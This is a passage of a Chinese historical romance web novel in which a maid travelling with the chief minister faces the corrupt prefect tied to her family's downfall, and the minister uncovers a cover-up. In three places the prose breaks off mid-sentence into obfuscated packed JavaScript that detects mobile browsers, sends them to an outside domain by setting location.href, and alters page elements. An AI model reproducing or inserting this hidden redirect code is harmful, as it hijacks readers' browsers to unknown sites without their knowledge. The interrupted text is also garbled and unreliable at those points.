而屏风之后，床榻上的人却并未入睡。温砚礼睁着眼，望着帐顶模糊的暗影，听着窗外雨声，眸光在黑暗中沉静如水，不知在想些什么。 在这雨夜狭小的空间里，那股清气似乎就在鼻尖萦绕。 13. 火腿鲜笋汤 车驾行至临安地界时，消息不知如何走漏，当地知府赵汝平早已领着大小官员在官道旁迎候。 温砚礼此次南下，明为寻访道人，暗里亦有巡察地方吏治之责，见此阵仗，虽不喜扰攘，却也顺水推舟，允了在此歇息一两日的提议。 苏慈跟在队伍后面，低垂着头，心中莫名有些不安。 待得知这前来迎接的赵知府，要被安排入住其府邸时，她悄悄抬眼望去，只一眼，便如遭雷击，浑身遍体发凉。 那张带着谄媚笑容的圆胖脸孔，她死也不会忘记。正是当年抄没苏家时，与周然一同出现，不容父亲任何分辨，便定了苏家死罪的官员之一。 虽不是主审，但那漠视冤情的模样，至今仍是她午夜梦回的魇魔。 苏慈慌忙低下头，恨不得将脸埋进尘土里，心脏狂跳得几乎要撞出胸腔，指尖发凉，生怕被认出来。 那赵知府躬身引着温砚礼往府内走，眼睛无意间扫过其后随从，落在苏慈身上时，似乎停顿了一下，带着些许探究。虽她已长开，与当年那个惊恐失措的少女模样有所不同，但那依稀的轮廓眉眼… “赵大人。”走在前方的温砚礼忽然开口，嗓音温淡，却让赵汝平吓得一个激灵，赶紧收回视线。 “下官在。” 温砚礼侧眸瞥了他一眼，眸光冷冽：“本官的人，有何不妥么？值得赵大人如此注目。” 赵汝平连忙赔笑：“不敢不敢，大人恕罪，下官只是、只是觉得这位姑娘瞧着有几分面善，似是故人之后，故而多看了一眼，绝无他意，绝无他意。”他心下确有狐疑，如今也不敢再细看。 温砚礼冷哼一声：“是么？本官倒不知，赵大人何时与我这灶下婢女成了故人，还是说，赵大人对这京城之事，了如指掌？”言语间的敲打之意十分明显，赵汝平听得腿肚子忍不住发软，挂在嘴边的笑僵了僵。 入了府邸，赵汝平又忙不迭地让夫人前来拜见。温砚礼坐置主位，神情疏离冷淡：“行程劳顿，安排住处便可。” 赵家准备的客房自是精致周到。苏慈一路强作镇定，直到进了安排给她暂歇的耳房，关上门，才顺着门板滑坐在地，后背已被冷汗浸湿，止不住地微微发抖。 晚间，她强打精神去小厨房为温砚礼准备晚膳。心绪不宁，便只做了几样极简单的菜色，一道清炒时蔬，一碗火腿鲜笋汤，一碟嫩滑的蒸蛋。 将饭菜布好，她垂手侍立一旁。温砚礼默然用着饭，屋内只闻细微的餐具轻碰声。忽然，他放下银箸，抬眸看她：“今日见到那赵汝平，你为何发抖？” 苏慈惊得一颤，难以置信地抬头看向他。她以为自己隐藏得很好，他竟然注意到了，此时那双墨眸似能看透一切，让她无所遁形。 旧日的恐惧与冤屈涌上心头，她嘴唇翕动了几下，但什么也不敢说。那是官官相护的往事，亦是她家族覆灭的疮疤，她如何敢在这位权势滔天的大人面前提及？ 她低下头，言语间带上几分哽咽：“大人，求您别再问了。” 温砚礼看着她那双泫然欲泣的眼睛，随即又拿起筷子，夹起一箸菜送入嘴里，细细咀嚼后，才应了一声：“嗯。” 苏慈愣怔片刻，心头巨石落地：“谢、谢大人。” 翌日，温砚礼并未急着启程，而是在赵知府的陪同下，看似随意地在临安城内巡视。赵汝平跟在身侧，一路唾沫横飞，极力渲染在自己治下，临安府如何政通人和，百姓如何安居乐业，仓廪如何充实。 温砚礼面无表情地听着，眼眸扫过街道两旁虽衣着尚可却面色谨慎的行人，忽然想起昨日苏慈见到赵汝平后的异样。他脚步一顿，开口道：“既是如此太平盛世，想必衙门案卷也清爽，去衙门看看近年卷宗。” 闻言，赵汝平脸上的笑容顿时僵住，忙道：“大人日理万机，区区地方琐碎案卷，岂敢劳您亲自翻阅？下官担保，绝无冤假错案。” 温砚礼冷冷扯了下嘴角：“哦？赵大人这般笃定？本官倒是好奇，想看看这海晏河清之下的律法经纬。” 赵汝平被那眼神看得脊背发凉，不敢阻挠，硬着头皮引路：“大人请，大人请。” 一行人来到衙门存放卷宗的库房，温砚礼随意坐在案后，道：“将近三五年的重大案件记录，都取来。” 赵汝平使了个眼色，手下人连忙搬来几摞卷宗。 温砚礼信手翻了几本，皆是些民间纠纷或盗窃小案，他漫不经心地扫过，便推到一旁：“看来果真如赵大人所言，太平无事。” 赵汝平刚暗自松了口气，却见一名不明就里的年轻书吏又捧着一叠卷宗进来，恭敬道：“大人，还有一批旧卷，其中包含一桩苏氏通蕃案，您可要过目？” “苏氏”二字一出，赵汝平脸色骤然惨白，急声呵斥：“多事，谁让你拿这些陈年旧案来的，还不快…” “拿过来。”温砚礼语调平平，却气魄压人，径直截断了赵汝平的话。 那书吏吓得一哆嗦，连忙将卷宗呈上。温砚礼打开，纸页上清晰地记录着一年前苏家被查抄的始末，主理人一栏，赫然写着“周然”的名字。 温砚礼指尖点着那个名字：“周然时任京官，为何会越界来处理临安府的案子？” 赵汝平冷汗涔涔，勉强笑道：“回、回大人，当年恰逢周大人南下公干，途经此地，此类涉及蕃邦之事干系重大，下官不敢擅专，便、便请周大人一同审理了。” “通蕃？”温砚眉梢微挑，“所犯何事？” “是、是前些年边疆不宁，有几个异域商人擅自流入境内，有人举报告发苏家曾与这些商人有过接触，还、还疑似传递消息。经查证，确有往来书信为证。”赵汝平弓着腰，声音发虚。 温砚礼静静听着，视线在那份卷宗上又停留了片刻，凤眸微微眯起：“原来如此，本官知道了。”卷宗合上，他随手丢回案上，好似只是听了一件无关紧要的旧闻。 与此同时，知府后宅内，赵夫人拉着苏慈的手，亲热地说着话，眼神却不住地在她脸上打量。 “姑娘这般好模样，又这般伶俐，在首辅大人跟前伺候，真是前途无量。”赵夫人笑道，话锋一转，“我瞧着姑娘实在面善得很，倒像是故人之后，姑娘祖籍何处？家中还有何人？” 苏慈心下一紧，知道试探来了。她垂下眼睫，掩去眸中情绪，声音温顺：“夫人谬赞了。奴婢粗鄙，怎敢高攀夫人故人？奴婢家中早已无人，幸得大人收留，才有口饭吃。” 赵夫人又旁敲侧击了几句，皆被苏慈滴水不漏地挡了回去，只道自己孤苦无依，从前种种皆不记得了。 见套不出话，赵夫人眼底闪过一丝失望，终是叹了口气，假意关怀道：“也是个可怜见的。好好伺候大人便是你的造化了。” - 赵汝平有一独子，名唤赵宝瑞，年方二十一，生得肥头大耳，身形臃肿，平日最是贪玩好色。这几日他约了几个狐朋狗友去城外别庄厮混，并不知府中来了贵客。 这日晌午，他玩得腻烦了，独自一人晃悠悠回府，腹中饥渴，嚷着要厨房立刻传饭。刚穿过垂花门，便见回廊尽头一抹浅碧色身影正袅袅娜娜地走来。 那女子身段纤细窈窕，穿着一身素净却合体的衣裙，更衬得腰肢不盈一握。一张小脸莹白如玉，杏眼水润，唇瓣嫣红，此时微微蹙着眉，似有轻愁，更添了几分我见犹怜的风致。 赵宝瑞何曾见过这般清丽脱俗的女子，简直与他梦中幻想的仙子一模一样。他看得两眼发直，张着嘴，哈喇子都快流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353973|183616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来了。 苏慈想着尽快回房避开人眼，忽觉身前有粗重的喘息声，抬头一看，竟是个胖得几乎堵住廊道的锦衣男子，目光痴迷地盯着自己，那眼神令人极不舒服。她心下一惊，连忙加快脚步绕过。 “哎，仙子，等等呀。”赵宝瑞见她欲走，急忙挪动肥胖的身子堵住去路，脸上堆起自以为风流倜傥的笑容，奈何满脸横肉，更显猥琐：“这位妹妹面生得紧，是哪家的姑娘，怎地在我府上？可是家母的亲戚？” 苏慈被他身上的浓重香囊味熏得后退半步，强压下厌恶，低声道：“公子误会了，奴婢只是随家主暂住于此，明日便走。”说罢便要绕开他。 赵宝瑞一听是奴婢，又见她衣着虽素净却并非下人打扮，只当是哪个来投亲的远房表妹，胆子更大了。他嘿嘿一笑，竟伸手想去拉苏慈的手：“原来是妹妹，妹妹这般品貌，做什么奴婢？跟了哥哥我，保管你吃香喝辣，穿金戴银，哥哥我喜欢你，你就给我做娘子吧。” 苏慈吓得脸色发白，用力甩开他肥腻的手，斥道：“公子请自重！”她想离开，不曾想被赵宝瑞张开双臂嬉皮笑脸地拦住。 正在这纠缠不堪之际，廊下骤然响起一声冰寒彻骨的冷斥：“放肆！” 赵宝瑞吓了一跳，回头望去，只见一位身着墨色常服，面容俊美却冷戾逼人的男子立于不远处，身后跟着脸色惨白的父亲和一群随从。 那眼神锐如利刃，他肥硕的身子本能地打了个哆嗦。 苏慈如见救星，眼圈一红，也顾不得规矩，躲到了温砚礼身后，纤细的手指下意识地攥住了他一点袖角，身子微微发抖。 福安不需吩咐，当即上前，对着赵宝瑞那身肥肉便是狠狠几拳踹去，专挑肉厚处下手，既疼又不伤筋骨。 赵宝瑞被打得嗷嗷直叫，瘫倒在地。 赵知府魂飞魄散，重重跪倒在地，连连磕头：“大人息怒，犬子无状，有眼无珠，冲撞了姑娘。他、他绝无恶意，只是蠢笨无知。”他又赶紧扯着儿子的耳朵骂道：“孽障！还不快给大人和姑娘磕头赔罪，这是首辅大人跟前的人。” 赵宝瑞这才知闯了大祸，忍着疼爬起身磕头如捣蒜：“大人饶命，姑娘饶命，小的、小的只是见姑娘长得跟天仙似的，一时昏了头，绝不敢有歹意，饶了小的吧。” 温砚礼脸色黑沉，先侧眸瞥了一眼躲在自己身后的苏慈，见她只是受惊，并未受伤，心中莫名一松，随即怒火更炽。 “赵汝平，你连自家后宅都管束不了，纵子行凶，调戏女眷！本官看你这‘路不拾遗、夜不闭户’的太平盛世，也不过是欺上瞒下的笑话。你这官，是如何当的？” 赵汝平磕头不止，额上已是青紫一片：“下官知罪，下官教子无方，求大人重重治罪，下官定严加管束这孽障。” 温砚礼冷哼一声，到底不愿在此等蠢货身上多费时辰，拂袖道：“滚起来，管好你儿子的眼和手，若再有下次，决不轻饶！”说罢，便转身离去，苏慈连忙松开他的衣角，紧跟在他身后。 经此一吓，苏慈确是心有余悸。夜间睡在客房，总觉门外有窸窣动静，风吹窗棂响也惊得她心头狂跳，一夜辗转反侧，生怕那胖公子浑噩起来真会闯进门。 直至天蒙蒙亮才勉强合眼，不过片刻便又惊醒。 翌日起身，她对镜梳妆时，便见眼下两团明显的青黑，精神也短少了许多。 出门遇上福安，福安见她这般模样，吓了一跳：“苏慈姑娘，你这是昨夜没歇好？脸色怎地这般差。” 苏慈勉强笑了笑，笑容苦涩：“没什么，只是有些认床罢了。” 温砚礼也已收拾妥当，欲准备下令出发，听闻此话，不动声色地瞥了眼她憔悴的脸色，眸色沉了沉，却只道：“启程。” 14. 酸梅脯 车驾行至城门附近，速度慢了下来。 虽未明确打出首辅仪仗，但城中早已传遍来了了不得的大官，道路两旁挤满了看热闹的百姓，窃窃私语声不绝于耳。 就在队伍即将穿过城门洞时，一个头发花白的老妇人从人群中冲了出来，扑通一声跪倒在温砚礼的轿驾前，高举着双手，嘶声哭喊：“青天大老爷，冤枉啊！求青天大老爷为民妇做主，替我儿申冤啊！” 她声音凄厉，字字泣血，原本喧闹的人群也安静下来，所有视线都聚焦在这突兀的一幕上。 有人低声议论：“这不是城西卖豆腐的陈婆子吗？” “她儿子不是杀了人，被判了秋后问斩？” 轿内，苏慈被这变故惊得心跳加速。 她悄悄掀开轿帘一角，看到那老妇人枯槁的身影跪在轿前，心下不忍，随即看向身旁闭目养神的温砚礼，他稳坐如山，眉宇间甚无波澜，好似外面的哭求与他毫无干系。 外面的侍卫已上前驱赶老妇，动作粗暴。苏慈看得揪心，指尖攥紧了衣袖，犹豫再三，终于忍不住极小声道：“大人，那位老人家…” 温砚礼并未睁眼，薄唇微动，声音冷澈如冰：“若事事皆需本官亲理，朝廷设州县衙署，养那些官吏何用？” 这话如同冰水浇头，熄灭了苏慈眼中那点微弱的希冀之光。 她心尖微颤，脸色白了白，随后垂下了眼。原来在他眼中，民间冤屈不过是无关紧要的琐事，是底下官员的分内之责，她原本还存着一丝渺茫的幻想，盼着有朝一日能寻得机会，求他查一查苏家的旧案。 此刻，那点幻想也随着这番话碎了。 此时，福安快步来到轿窗前，低声道：“大人，那老妇拼死挣扎，定要当面呈递状纸，言有惊天冤情，求您一见。围观者众，强行驱赶恐…” 温砚礼沉默片刻，终是开口：“带她去府衙。” 知府衙门大堂，很快被温砚礼的护卫接管。 赵汝平闻讯匆匆赶来，一进堂看见又是那陈婆子，冷汗顿时下来了，忙对温砚礼躬身道：“大人息怒，这、这老妇神志不清，整日胡言乱语，扰了大驾，下官这就…” 温砚礼抬手止住他的话，看向堂下浑身发抖的老妇身上：“你既拦驾告状，可知后果，为何认定本官能为你做主？” 陈婆子重重磕了个头，额头一片青红：“青天大老爷，民妇不敢胡说，赵知府他民妇信不过，民妇只信您这样的京里来的大官。” “哦？”温砚礼眉梢微挑，“你要申何冤？” “民妇夫家姓陈，世代在城西做豆腐为生。我儿陈浩，是个老实本分的后生，平日就帮着民妇送豆腐。”陈婆子说到儿子，眼泪涌了出来，“半月前，他去城外十里坡送豆腐，回来时就脸色惨白，像是受了极大的惊吓，嘴里一直喃喃念叨‘我没看见，我什么都没看见’…谁知第二天，衙门的人就闯进家里，硬说我儿杀了人，不容分辨就抓进了大牢，判了死罪。大人，我儿连杀鸡都不敢，怎会杀人，求您明察啊！” 温砚礼沉默地听着，指尖在案桌上轻轻敲击了两下，问道：“十里坡何处？” 陈婆子连忙说了具体位置。温砚礼示意福安：“带几个人，去她所说的地方仔细查看。” 接着，他转向脸色发白的赵汝平：“案犯陈浩，现在何处？” 赵汝平冷汗直冒，支吾道：“回、回大人，那陈浩，他、他昨日在狱中已认罪画押，随后、随后便自缢身亡了。” “什么？”陈婆子闻言，如遭五雷轰顶，脸上原本的哀伤转化为疯狂的绝望。她死死盯着温砚礼，嘶声道：“死了？哈哈，死了，我就知道，我就知道，我儿定是撞见了什么见不得人的勾当，前阵子就有人说十里坡一带常有来历不明的人鬼鬼祟祟，我儿定是撞破了他们的好事，才被灭口！你们官官相护，这世上还有没有王法！” 话落，她突然站起，看向堂上众人，带着决绝的恨意：“我这把老骨头活着也没指望了，就用这条贱命，咒你们这些狗官不得好死！” 话音未落，她一头朝着堂侧那坚硬的朱红柱子狠狠撞去。 “不要！”苏慈失声惊呼，眼睁睁看着那苍老的身躯软软倒下，额角鲜血汩汩涌出。她浑身冰凉，仿佛看到了当年母亲无助绝望的身影，眼眶登时红了，泪水在眼里打转。 温砚礼脸色阴沉得瘆人，他猛地一拍惊堂木，声响震得整个公堂都在颤动。 站起身，冷眼看向瘫软在地的赵汝平，嗓音寒彻骨髓：“赵汝平，你好大的狗胆！在本官眼皮底下竟敢如此草菅人命，掩盖真相，此事，本官定会原本奏明陛下，你，好自为之！” 赵汝平面如死灰，瘫倒在地，算是明白自己的仕途，到头了。 出了临安城门，车马刚行至郊外。 温砚礼便唤来两名心腹护卫，低声吩咐：“你二人即刻快马返京，将今日之事详述于御史方大人，请他务必秉公处置，肃清临安吏治。” 两人领命，当即调转马头。 队伍继续前行，刚进入郊野官道不久，福安便策马追了上来。他来到轿窗前，看了一眼坐在轿内的苏慈，欲言又止。 苏慈立刻识趣地轻声道：“大人，车内有些闷，奴婢想下去透透气。” 得到温砚礼默许后，她便下了轿，走到不远处的一棵柳树下，望着远处连绵的稻田出神。方才公堂上那惨烈的一幕和母亲昔日的泪眼不断交织，此刻她心口闷得发慌。 轿内，温砚礼看了眼窗外那抹纤细落寞的背影，随即收回，看向福安：“说。” 福安压低声音，语速加快：“小的带人仔细搜检了十里坡那处地方，人已去楼空，但确有大队人马驻扎过的痕迹，埋锅造饭的土灶还在，丢弃了不少杂物，行动颇为匆忙。看遗留的些微线索，不像是普通商旅或匪类，倒像是、像是经受过操练的。” 顿了顿，声音压得更低：“另外，小的暗中查问得知，赵汝平与周然周大人，近年往来甚密，书信和礼物输送频繁。而周大人，众所周知，是二皇子殿下的得力臂膀。” 温砚礼闻言，眸中寒光一闪，指尖在身旁的案几上轻轻敲击着：“地图拿来。” 福安连忙从行囊中取出一卷详尽的江南舆图，在温砚礼面前展开。 温砚礼很快找到临安府的位置，手指顺着纵横交错的河道水系滑动。临安水网密布，漕运便利，可通太湖、连长江，若借此水路私运兵械，囤积物资，甚至隐匿人手，确是极好的选择，且极易掩人耳目。 他嘴角轻扯：“咱们这位二皇子殿下，手倒是越伸越长了，这般迫不及待？” 忽地，他想起昨日在府衙看到的另一份卷宗，苏家的通蕃案。周然同样牵涉其中，时间点与二皇子势力开始扩张的时期微妙吻合。 那些所谓的外蕃… “福安，”温砚礼眼神一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原来是因为怕耽误行程。苏慈方才那点微末的波澜平息了下去，心底甚至泛起自嘲的涩意。她低下头，掩去眸中情绪，恭顺地应道：“是，奴婢明白，定不会耽误大人正事。” 正说着，一名护卫疾步而来，正是前几日被派回京中送信的心腹之一。护卫单膝跪地，抱拳沉声道：“大人，京中之事已按您的吩咐办妥，方大人已接手查办。” 他顿了顿，又道，“属下回府复命时，赵管家特意让属下带话，说老夫人已到京中府上，询问大人何时归返。” 温砚礼闻言，眉头微蹙：“知道了，归期未定。”细听还有几分不耐。 站在一旁的苏慈听到了老夫人几个字，心下微微诧异。她原以为这位冷面权臣是孤家寡人，没想到竟还有家人，瞧着大人那副反应，似乎并不太乐见。 她按捺不住好奇，趁着福安走过身边，悄悄拉了他一下，低声问道：“福安哥，方才所说的老夫人是…” 福安叹了口气，压低声音道：“是咱们大人的祖母，常年住在金陵。唉，老人家嘛，每回来京，十有八九都是为了催逼大人的亲事。大人这年纪，身边连个知心人都没有，老夫人可是急坏了，这回怕是又物色了哪家的闺秀，亲自上门来逼婚了。” 苏慈闻言，轻轻“哦”了一声，然后又瞥了一眼温砚礼的背影，心想，原来这般人物，也逃不过家长里短的烦恼。 只是不知怎样的女子，才能入得了他的眼？ 这念头一闪而过，她便掐灭了，暗笑自己胡思乱想，随即捏起一颗酸梅放入口中，极致的酸味瞬间弥漫开来，刺激着味蕾，果然将那股恶心感压下去了不少，只是心口那点莫名的细微涩意，却久久未散。 15. 清蒸鲥鱼 次日午后，车驾终于抵达了此行的目的地——湖州府城。当地官员早已得了消息，恭敬地将温砚礼一行迎入一处清雅的官邸安置。 舟车劳顿多日，苏慈眼下只觉得浑身不适。温砚礼下了轿，眼眸温淡，扫了眼她疲惫的眉眼，道：“你先去歇息。” 苏慈下意识问：“大人还要出去？” “不必。有些公务需即刻处理。”话音刚落，福安便快步近前，低声道：“大人，罗大人已在书房等候。” 苏慈心下了然，这位罗大人想必是此地最高官员，如此急切求见，定有要事。她顺从地点点头，看着那抹颀长身影快步走向书房，心中不由暗叹，位高权重如他，肩上担子想必也远比常人沉重。 回到安排给自己的厢房，她简单梳洗后，便一头倒在床榻上沉沉睡去。连日奔波积攒的疲乏似千斤顶袭来，直到日头偏西才悠悠转醒。 起身后，精神恢复了不少。苏慈在院中遇到在忙碌指挥仆役安置行李的福安，便上前轻声询问：“福安哥，大人晚间可在府中用膳？” 福安笑着点头：“在的在的，有劳苏慈姑娘惦记。大人方才吩咐了，晚间就在院里用饭。” “好，我这就去准备。”苏慈应下，转身便朝官邸的小厨房走去。好些日子未曾好好下厨，她竟有些手痒。取出那本边角已修补好的宝贝册子，就着现有的食材细细翻看，心中很快便有了计较。 厨房里食材颇丰。她取过一条新鲜的草鱼，利落地去鳞剔骨，将鱼肉片成厚薄均匀的块状，用细盐姜汁，以及少许黄酒抓匀腌制。 另起一小锅，倒入清油，待油温升高，便将鱼块裹上一层薄薄的淀粉，滑入锅中。刺啦一声，热油激出浓郁的香气，约莫几许后，鱼块便在油锅中迅速变得金黄酥脆，捞起控油，色泽诱人。 接着她又处理起活蹦乱跳的青虾，手指灵巧地剥出完整的虾仁，用蛋清淀粉上浆，保持其嫩滑口感。热锅快炒，虾仁瞬间卷曲成漂亮的淡粉色，配以翠绿的葱段，鲜香扑鼻。另一样是当地产的嫩笋切丝，与瘦猪肉丝同炒，笋丝脆嫩，肉丝咸香。 待到夕阳西下，几样小菜并一碟清爽的腌渍小菜都已妥当。恰在此时，温砚礼处理完公务，迈步走进了膳厅。 “大人，可以用膳了。”苏慈轻声禀报，将碗筷布好。 温砚礼微微颔首，敛眸看向桌上色香味俱全的菜肴，随之落座。 苏慈如往常一般，拿起公筷，正要为他布菜，却听他忽然开口：“坐下。” 她动作一顿，愕然抬眼：“大人？” “此处没有外人。”温砚礼面色从容，“福安不会多嘴。” 侍立一旁的福安闻言躬身，极其识趣地退了出去，并轻轻带上了门。 苏慈心下惴惴，这于礼制实在不合，但看着大人那副“让你坐就坐”的冷淡表情，她只得依言，小心翼翼地在圆凳边缘坐下，只占了小小一角。 席间一时安静，只有细微的咀嚼声。苏慈吃得心不在焉，眼睛不时偷瞟对面慢条斯理用膳的男人。 他吃东西的样子极其优雅，却也极其无趣，像是在完成一项任务。 一个念头在她心中盘旋许久，终于，她鼓起勇气，放下筷子，轻声道：“大人，奴婢有个问题，不知当问不当问。” “说。”温砚礼头也未抬。 “您的味觉…是真的一点滋味都尝不出吗？”问完这话，苏慈便有些后悔，生怕触怒了他。 温砚礼夹菜的动作微顿了一下。膳厅内陷入短暂的沉默，就在苏慈准备开口请罪时，他才应了一声：“嗯。” 苏慈松了口气，见他并未动怒，胆子便又大了些。她想起册子里父亲记载的一些调理身体的方子，犹豫着开口：“奴婢、奴婢那本食谱册子上，除了菜式，还记了些家父从前搜集的药膳方子，其中便有、有针对您这般情形的调理之法，虽不敢说一定能治好，但或许可以一试？” 温砚礼抬眸，对上她那双清澈透亮的秋水澄眸。 那里面没有他厌恶的怜悯情绪，只有纯粹的认真，似是单纯为他着想。他思虑片刻，放下筷子，道：“你若能治好，本官允你一个要求。” 听此，苏慈的眼睛睁得更大了，难以置信地确认：“真的吗，大人此话当真？” “嗯。”看着她那副差点就要雀跃起来的模样，他心下微哂。不过一个许诺，竟能高兴成这样。 他却不知，苏慈此刻心中飞快地盘算着，若真能治好，她便求一个恩典，赎身出府，过自己的小日子。从此再不用提心吊胆，看人脸色。 越想越是开心，她嘴角忍不住微微翘起，颊边泛起浅浅笑意，连那双总是带着几分怯意的眼睛也弯成了月牙儿。 温砚礼看着她那张焕发出别样光彩的俏脸，心中更加困惑不已，不过一个要求，至于如此欢喜？ - 次日清晨，用罢早膳，温砚礼对在收拾碗筷的苏慈道：“晚间湖州罗知府设宴，本官需赴席，不在府中用膳。” 苏慈闻言，乖巧点头：“是，奴婢知道了，那奴婢便在府中等候大人回来。” “等候？”温砚礼眉梢微挑，重复了一遍这两个字，似乎觉得这话有些新鲜。 苏慈未觉有异，老实说出心中打算：“奴婢翻阅了药膳册子，想着晚上试着炖一盅黄芪枸杞乳鸽汤，最是温补，或许对大人调理身子有益。等大人回来，正好可以…” “不必。”温砚礼打断她，“你随本官同去。” “啊？”苏慈惊讶地抬起头，“奴婢同去？这、这恐怕于礼不合吧，席上皆是官员，奴婢…” “你不去，”温砚礼瞥了她一眼，低声反问，“谁替本官尝味述鲜，难道要让本官对着满桌佳肴枯坐？” 原来是这样。苏慈恍然，随即懵懂地点了点头：“是，奴婢遵命。” 到了下午，福安亲自捧着一个锦盒过来，脸上带着笑：“苏慈姑娘，这是大人吩咐给您准备的，今晚宴席上来往的都是有头有脸的人物，姑娘代表着咱们府上的脸面，衣着上需得体面些才好。” 苏慈接过锦盒，打开一看，里面是一整套崭新的衣裙，从里到外，用料讲究，做工精细。她脸颊不由微热，原以为自己穿着那身半新的婢女衣裳跟去站在角落便罢了，没想到大人竟连这些都考虑到了。 指尖抚过那柔软的浅碧色杭绸面料，触感微凉，上面绣着同色系的缠枝花纹，低调却雅致。配套的还有百迭马面裙和一件暖杏色的比甲，最是适合微凉秋日的打扮。 她回到房中，仔细地换上这套新衣。尺寸出乎意料的合身，仿佛为她量身定制一般。 浅碧色的上衣衬得她肌肤白皙剔透，腰身收得恰到好处，勾勒出纤细玲珑的曲线。她走到房中那面模糊的铜镜前，看着镜中那个身影，甚至有些不敢认了。 镜中的女子身姿窈窕，容色清丽，哪里还有半分灶下婢女的痕迹，她小心地抿了抿唇，心底涌起了那种女儿家得了新衣的隐秘欢喜。 收拾妥当，她深吸一口气，推开房门走了出去。 温砚礼早已等在院中，正负手望着天际最后一抹晚霞。听得开门声，他转过头来。 眼神触及那一抹浅碧身影的瞬间，他眼底似乎出现了细微波澜，如同石子掷入深潭，很快又恢复了古井无波的平静。他就那样看着她，一时未言语。 苏慈被他看得有些不自在，下意识地低头检查自己的衣饰，声音带着几分不确定的羞赧：“大人，可是奴婢这身有何处不妥？” 温砚礼这才移开视线，不轻不重地吐字：“并无。” “哦。”苏慈轻应了一声，心底却有点打鼓，也不知大人方才为何那般看她。 她跟在他身后走向门外的轿子，步伐间能感受到裙裾柔软的摆动，她已经很久没有穿过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这东坡肉炖得酥烂，但油脂稍厚，恐腻口。” “这碟醋芹极清爽开胃。” 温砚礼听着她细致的描述，偶尔“嗯”一声，她便知道该如何布菜。 席间，罗大人恭敬地汇报明日上山拜访张道人的安排：“大人，明日上山拜访张道人的行程已安排妥当。只是这位张道人性情颇为孤高清傲，常居山林，不通俗务，若有言语冒犯之处，还望大人海涵。” 温砚礼面色不变：“无妨。”随后又与罗大人等人谈了些漕运、赋税的正事。 苏慈谨记自己的职责，专心品尝着各色菜肴，遇到觉得味道尚可，或许能合大人口味的，便小声告知。这酒楼厨子手艺确实不错，她不知不觉竟吃了不少，待宴席结束时，她小腹微胀，心满意足。 离席时，温砚礼被几位官员围住说话。苏慈稍稍落在后面，福安凑近她，压低声音笑着调侃道：“苏慈姑娘，今日跟着大人出来，可是饱了口福？这等宴席，平日里可轮不上咱们。” 苏慈闻言，想起自己方才的吃相，脸颊微红，小声辩驳：“福安哥莫要取笑，我、我这是为大人尝菜，是公事。” “是是是，公事，公事。”福安笑得越发促狭。 苏慈被他笑得羞窘，下意识轻轻跺了跺脚，唇边却忍不住也漾开一点笑意。 恰在此时，温砚礼转头看来，恰巧看到了她这笑靥微绽的模样，以及她与福安之间那看似熟稔的互动。他眼眸微眯，眉宇淡的不悦，莫名觉得那笑容有些刺眼。 冷声打断那边的交谈：“走了。” 苏慈和福安皆是一怔，只见大人眼神凉飕飕地瞥过他们，转身便走。苏慈赶紧收敛神色，小跑着跟上。 福安更是心里一个咯噔，大人这眼神，怎么像是自己撬了他墙角似的？ 16. 鲜花节 回到下榻的官邸，温砚礼的脸色算不上好。 苏慈偷偷瞥了他一眼，见他眉宇间似有郁色，想起他席间也用了不少食物，便小心翼翼地问道：“大人，您可是胃腹有些不舒服？要不要奴婢去煮碗消食的酸梅汤来？” 温砚礼脚步一顿，侧过头，那眼神依旧凉飕飕的，落在她脸上：“不必。”沉默一瞬，又没头没尾地命令道，“以后在外，少笑。碍眼。” 苏慈一下子愣住，下意识地抿紧了嘴唇，心里有些许委屈。她笑怎么了，又没得罪他，这位大人的脾气真是越来越阴晴不定了，比六月的天变得还快。 这点细微的情绪波动未能逃过温砚礼的眼睛。他眸光微沉，盯着她：“不服？” 苏慈心头一凛，那点委屈被吓跑了，赶紧摇头：“奴婢不敢。” - 翌日，用罢清淡的早膳，一行人便启程上山。 山路崎岖，轿马难行，多是徒步。温砚礼步履沉稳，苏慈跟在他身后，小口喘着气，好奇地打量着四周苍翠的景色，对那位传说中的张道人颇感好奇。 在引路樵夫的带领下，他们很快在半山腰一处僻静草庐前找到了这位道人。那张道人约莫四十上下年纪，穿着一件洗得发白的道袍，头发随意束着，颇有几分神神叨叨的气质。 他正坐在一块大石上捣药，见来了这许多人，也不惊慌，反而上下打量着为首的温砚礼，掐指便道：“这位居士，印堂发亮，紫气东来，乃大贵之相！不过眉宇间隐有黑煞纠缠，且让贫道为你算上一卦…” 一旁的罗大人见状，赶忙厉声呵斥：“放肆，休得胡言，此乃当朝首辅温大人！” 张道人闻言，捣药的动作一顿，那双飘忽的眼睛清明了几分，仔细看了看温砚礼通身的气度，这才连忙起身，打了个稽首：“原来是大人驾临，贫道失敬，失敬。” 温砚礼并未在意他先前的失礼：“陛下慕道长之名，特命本官前来，请道长入京一见。” 张道人眼珠转了转，倒是极为爽快：“原来是圣上相召，贫道荣幸之至，不知大人欲何时启程？” “越快越好。” “好说好说，容贫道收拾一二，改日便可随大人下山。” 他答应得干脆利落，反倒让准备了一番说辞的罗大人有些意外。 事情如此顺利，众人也不多停留，即刻下山。 